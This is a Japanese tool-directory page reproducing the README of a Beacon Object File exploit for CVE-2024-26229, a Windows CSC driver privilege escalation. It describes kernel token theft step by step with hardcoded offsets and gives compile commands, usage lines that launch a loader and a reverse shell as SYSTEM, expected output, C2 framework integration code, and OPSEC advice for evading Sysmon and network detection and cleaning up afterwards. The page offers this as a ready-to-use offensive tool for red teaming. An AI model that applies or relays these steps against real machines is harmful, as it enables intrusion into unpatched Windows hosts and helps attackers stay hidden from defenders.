Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 Beacon Object File バージョン | Kitploit
ツール/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
特権昇格エクスプロイトポストエクスプロイトペネトレーションテストレッドチーミングペイロード開発バイナリエクスプロイト
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 Beacon Object File バージョン

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-26229 BOF

CVE-2024-26229のBeacon Object File実装 — DKOMトークン窃取によるWindows CSCドライバのローカル特権昇格。

RalfHacker/CVE-2024-26229-exploit に基づき、Cobalt Strike BOF APIをサポートするC2フレームワークで使用するために、Dynamic Function Resolution (DFR) を用いてBOFに変換しました。

動作の仕組み

  1. NtCreateFile を使用して \Device\Mup\;Csc\.\. を開き、CSCドライバへのハンドルを取得する
  2. KTHREAD->PreviousMode - 0x18 を指す細工された入力バッファを使用して IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) を送信し、PreviousMode を UserMode から KernelMode へ破壊する
  3. PreviousMode = KernelMode の場合、NtWriteVirtualMemory は任意のカーネルアドレスに書き込める
  4. SYSTEMプロセス(PID 4)の EPROCESS->Token を現在のプロセストークンにコピーする(DKOM)
  5. PreviousMode を UserMode に復元する
  6. CreateProcessA を介して指定された実行可能ファイルを起動する — 子プロセスはSYSTEMトークンを継承する

ビーコンプロセス自体はステップ4の時点でSYSTEMになります。起動されたプロセスはオプションです — CreateProcessA が失敗しても、ビーコンは昇格されたままです。

ターゲット

  • OS: Windows 10 / Server 2019 (Build 19041+)
  • 要件: CSCドライバが有効であること (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • 修正: 2024年4月の累積更新プログラム

カーネルオフセット(ハードコード済み)

オフセット値構造体
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

これらのオフセットはバージョン固有です。異なるビルドを対象とする場合は、WinDbgで確認してください:

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

コンパイル

mingw-w64 と、お使いのC2フレームワークと互換性のある beacon.h ヘッダーが必要です。

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

コンパイルされた .o ファイルをBOFディレクトリ(例:_bin/cve-2024-26229.x64.o)に配置します。

使用方法

root@kitploit:~
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

例

ローカルシェルコードを使用してローダーを起動:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

リバースシェルを起動:

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

引数なしで実行:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

期待される出力

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

AdaptixC2 / AXS 統合

BOFを .axs 拡張スクリプトに登録します:

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

引数のパッキングは cstr,cstr です — BOF内の2つの BeaconDataExtract 呼び出しに対応する2つのnull終端文字列です。

OPSEC 注意事項

  • ユーザーランドの痕跡なし — DKOMは破損した PreviousMode を介して完全にカーネルメモリ内で動作します。ファイルの書き込み、サービスの作成、レジストリの変更はありません。
  • ネットワーク指標なし — エクスプロイトはローカルのみです。ネットワークベースの検出を避けるために、HTTPで取得する代わりにディスクからシェルコードを読み取るローダー(--munition-local パターン)と組み合わせてください。
  • プロセス作成 — CREATE_NO_WINDOW フラグ付きの CreateProcessA。起動されたプロセスはSYSTEMトークンを継承します。ローダーが別のプロセス(例:svchost.exe)にインジェクションする場合、ディスク上のローダーは後でクリーンアップできます。
  • Sysmon — \Device\Mup\;Csc\.\. への NtCreateFile 呼び出しとIOCTLは、デフォルトのSysmon構成では一般的にログに記録されません。CreateProcessA 呼び出しは標準のプロセス作成イベント(イベントID 1)を生成します — 起動するバイナリに署名が付けられていないことを確認してください。
  • PreviousModeの復元 — BOFはトークンコピー後に PreviousMode を UserMode に復元します。ビーコンプロセスは特権昇格後も正常に機能し続けます。

制限事項

  • x64のみ — ハードコードされたオフセットとポインタ演算は64ビットを前提としています
  • オフセットはビルド固有 — ハードコードされた EPROCESS->Token (0x4B8) と KTHREAD->PreviousMode (0x232) の値は、Windows 10 19041–19045 および Server 2019 17763 で有効です。他のビルドでは調整が必要になる場合があります。
  • CSCドライバが有効である必要があります — sc query csc またはレジストリ HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1) で確認してください。このドライバはワークステーションではデフォルトで有効ですが、サーバーでは無効になっている場合があります。
  • プロセスごとに1回のみ使用可能 — DKOMはビーコン自身のEPROCESSトークンを変更します。同じビーコンでBOFを2回実行しても冗長です(すでにSYSTEMになっています)。

クレジット

  • RalfHacker — オリジナルのスタンドアロンエクスプロイト
  • Natel — テストとレビュー

参照

  • CVE-2024-26229 — MITRE
  • Microsoft Security Advisory

法的免責事項

このツールは、許可されたペネトレーションテストおよびセキュリティ研究のみを目的としています。

自分が所有していない、または明示的な書面による許可を得ていないシステムに対してこのツールを使用することは、以下の法律を含むベトナム法の下で違法となります。

  • Luật An toàn thông tin mạng 2015 (ネットワーク情報セキュリティ法、第86/2015/QH13号) — 情報システムへの不正アクセスを禁止
  • Bộ luật Hình sự 2015, sửa đổi 2017 (刑法、第225条〜第226条) — コンピュータネットワークへの不正侵入およびデータの破壊を犯罪とする

このツールは教育目的のみで提供されます。作者は誤用に対する一切の責任を負いません。お客様の使用がすべての該当する現地法、国内法、国際法に準拠していることを確認する責任はお客様にあります。

このツールを使用することにより、テスト活動の前にシステム所有者から適切な許可を得たことを確認したものとみなされます。

ツールをダウンロード